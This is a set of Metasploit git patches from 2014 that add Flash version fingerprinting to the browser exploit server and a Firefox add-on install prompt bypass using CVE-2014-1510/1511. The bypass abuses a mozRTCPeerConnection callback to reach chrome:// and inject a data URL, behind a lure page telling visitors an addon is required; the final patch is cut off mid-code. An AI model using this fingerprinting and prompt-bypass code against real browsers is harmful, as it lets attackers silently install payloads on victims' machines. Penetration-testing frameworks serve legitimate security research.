From 4f5944cfb843c9c829da957a4b4ea666ca6cd7d1 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 28 Mar 2014 14:31:21 -0500 Subject: [PATCH 01/15] Add JavaScript detection for Adobe Flash --- data/js/detect/misc_addons.js | 47 +++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/data/js/detect/misc_addons.js b/data/js/detect/misc_addons.js index 2deaed1252..fe0ba675cc 100644 --- a/data/js/detect/misc_addons.js +++ b/data/js/detect/misc_addons.js @@ -46,6 +46,53 @@ window.misc_addons_detect.hasSilverlight = function () { return found; } +/** + * Returns the Adobe Flash version +**/ +window.misc_addons_detect.getFlashVersion = function () { + var foundVersion = null; + + // + // Gets the Flash version by using the GetVariable function via ActiveX + // + try { + var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString(); + foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.') + } catch (e) {} + + // + // This should work fine for most non-IE browsers + // + if (foundVersion == null) { + var mimes = window.navigator.mimeTypes; + for (var i=0; i Date: Fri, 28 Mar 2014 15:14:58 -0500 Subject: [PATCH 02/15] Adobe Flash support in BES --- .../exploit/remote/browser_exploit_server.rb | 41 +++++++++++-------- 1 file changed, 23 insertions(+), 18 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index b236649ae1..98f1908ab4 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -42,20 +42,21 @@ module Msf # Requirements a browser module can define in either BrowserRequirements or in targets REQUIREMENT_KEY_SET = { - :source => 'source', # Either 'script' or 'headers' - :ua_name => 'ua_name', # Example: MSIE - :ua_ver => 'ua_ver', # Example: 8.0, 9.0 - :os_name => 'os_name', # Example: Microsoft Windows - :os_flavor => 'os_flavor', # Example: XP, 7 - :language => 'language', # Example: en-us - :arch => 'arch', # Example: x86 - :proxy => 'proxy', # 'true' or 'false' - :silverlight => 'silverlight', # 'true' or 'false' - :office => 'office', # Example: "2007", "2010" - :java => 'java', # Example: 1.6, 1.6.0.0 - :clsid => 'clsid', # ActiveX clsid. Also requires the :method key - :method => 'method', # ActiveX method. Also requires the :clsid key - :mshtml_build => 'mshtml_build' # mshtml build. Example: "65535" + :source => 'source', # Either 'script' or 'headers' + :ua_name => 'ua_name', # Example: MSIE + :ua_ver => 'ua_ver', # Example: 8.0, 9.0 + :os_name => 'os_name', # Example: Microsoft Windows + :os_flavor => 'os_flavor', # Example: XP, 7 + :language => 'language', # Example: en-us + :arch => 'arch', # Example: x86 + :proxy => 'proxy', # 'true' or 'false' + :silverlight => 'silverlight', # 'true' or 'false' + :office => 'office', # Example: "2007", "2010" + :java => 'java', # Example: 1.6, 1.6.0.0 + :clsid => 'clsid', # ActiveX clsid. Also requires the :method key + :method => 'method', # ActiveX method. Also requires the :clsid key + :mshtml_build => 'mshtml_build', # mshtml build. Example: "65535" + :flash => 'flash' # Example: "12.0" (chrome/ff) or "12.0.0.111" (IE) } def initialize(info={}) @@ -222,9 +223,12 @@ module Msf # For more info about what the actual value might be for each key, see HttpServer. # # If the source is 'script', the profile might have even more information about plugins: - # 'office' : The version of Microsoft Office (IE only) - # 'activex' : Whether a specific method is available from an ActiveX control (IE only) - # 'java' : The Java version + # 'office' : The version of Microsoft Office (IE only) + # 'activex' : Whether a specific method is available from an ActiveX control (IE only) + # 'java' : The Java version + # 'mshtml_build' : The MSHTML build version + # 'flash' : The Flash version + # 'silverlight' : The Silverlight version # # @param tag [String] Either a cookie or IP + User-Agent # @return [Hash] The profile found. If not found, returns nil @@ -375,7 +379,8 @@ module Msf "<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version, "<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch, "<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion(), - "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight() + "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight(), + "<%=REQUIREMENT_KEY_SET[:flash]%>" : window.misc_addons_detect.getFlashVersion() }; <% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %> From 07ab05c870366b84209479b113c11a5553b8e66e Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 28 Mar 2014 15:20:45 -0500 Subject: [PATCH 03/15] Update a comment --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 98f1908ab4..819fc94606 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -56,7 +56,7 @@ module Msf :clsid => 'clsid', # ActiveX clsid. Also requires the :method key :method => 'method', # ActiveX method. Also requires the :clsid key :mshtml_build => 'mshtml_build', # mshtml build. Example: "65535" - :flash => 'flash' # Example: "12.0" (chrome/ff) or "12.0.0.111" (IE) + :flash => 'flash' # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE) } def initialize(info={}) From a173fcf2fa07b903250994d9add7e3cd1c577e17 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 28 Mar 2014 15:39:25 -0500 Subject: [PATCH 04/15] Flash detection for firefox_svg_plugin Good test case --- modules/exploits/multi/browser/firefox_svg_plugin.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index 19cea1bc58..dac5601f06 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -75,7 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, - :ua_ver => /17\..*/ + :ua_ver => /17\..*/, + :flash => /[\d.]+/ } )) From ebcf972c08857ac946cea090bba520bb70bd2485 Mon Sep 17 00:00:00 2001 From: joev Date: Tue, 1 Apr 2014 23:48:35 -0500 Subject: [PATCH 05/15] Add initial firefox xpi prompt bypass. --- .../browser/firefox_xpi_bootstrapped_addon.rb | 49 ++++++++++++++++--- 1 file changed, 43 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb index 5fc3882cfb..2b9f00f4cd 100644 --- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb +++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb @@ -28,13 +28,18 @@ class Metasploit3 < Msf::Exploit::Remote be "bootstrapped". As the addon will execute the payload after each Firefox restart, an option can be given to automatically uninstall the addon once the payload has been executed. + + On Firefox 22.0 - 27.0, CVE-2014-1510 allows us to skip the + first half of the permissions prompt. }, 'License' => MSF_LICENSE, 'Author' => [ 'mihi', 'joev' ], 'References' => [ [ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ], - [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ] + [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ], + [ 'CVE', '2014-1510' ], # webidl chrome:// navigation to skip first half of prompt + [ 'CVE', '2014-1511' ] ], 'DisclosureDate' => 'Jun 27 2007' )) @@ -67,10 +72,42 @@ class Metasploit3 < Msf::Exploit::Remote end def generate_html - html = %Q|Loading, Please Wait...\n| - html << %Q|

Addon required to view this page. [Install]

\n| - html << %Q|\n| - html << %Q|| - return html + %Q| + Loading, Please Wait... +

Addon required to view this page. [Install]

+
+ +
+ + + + | + end + + # In firefox 21 - 27, there is a vulnerability that allows navigation to a chrome:// URL. + # From there you can load the browser XUL, and inject a data URL into a nested frame. + # If the data URL opens the .xpi URL, the first permission prompt gets skipped. + def web_idl_navigation + %Q| + try { + c = new mozRTCPeerConnection; + c.createOffer(function(){},function(){window.rr=window.open('chrome://browser/content/browser.xul', 'f')}); + setTimeout(function(){ + try { + frames[0].frames[1].location="data:text/html,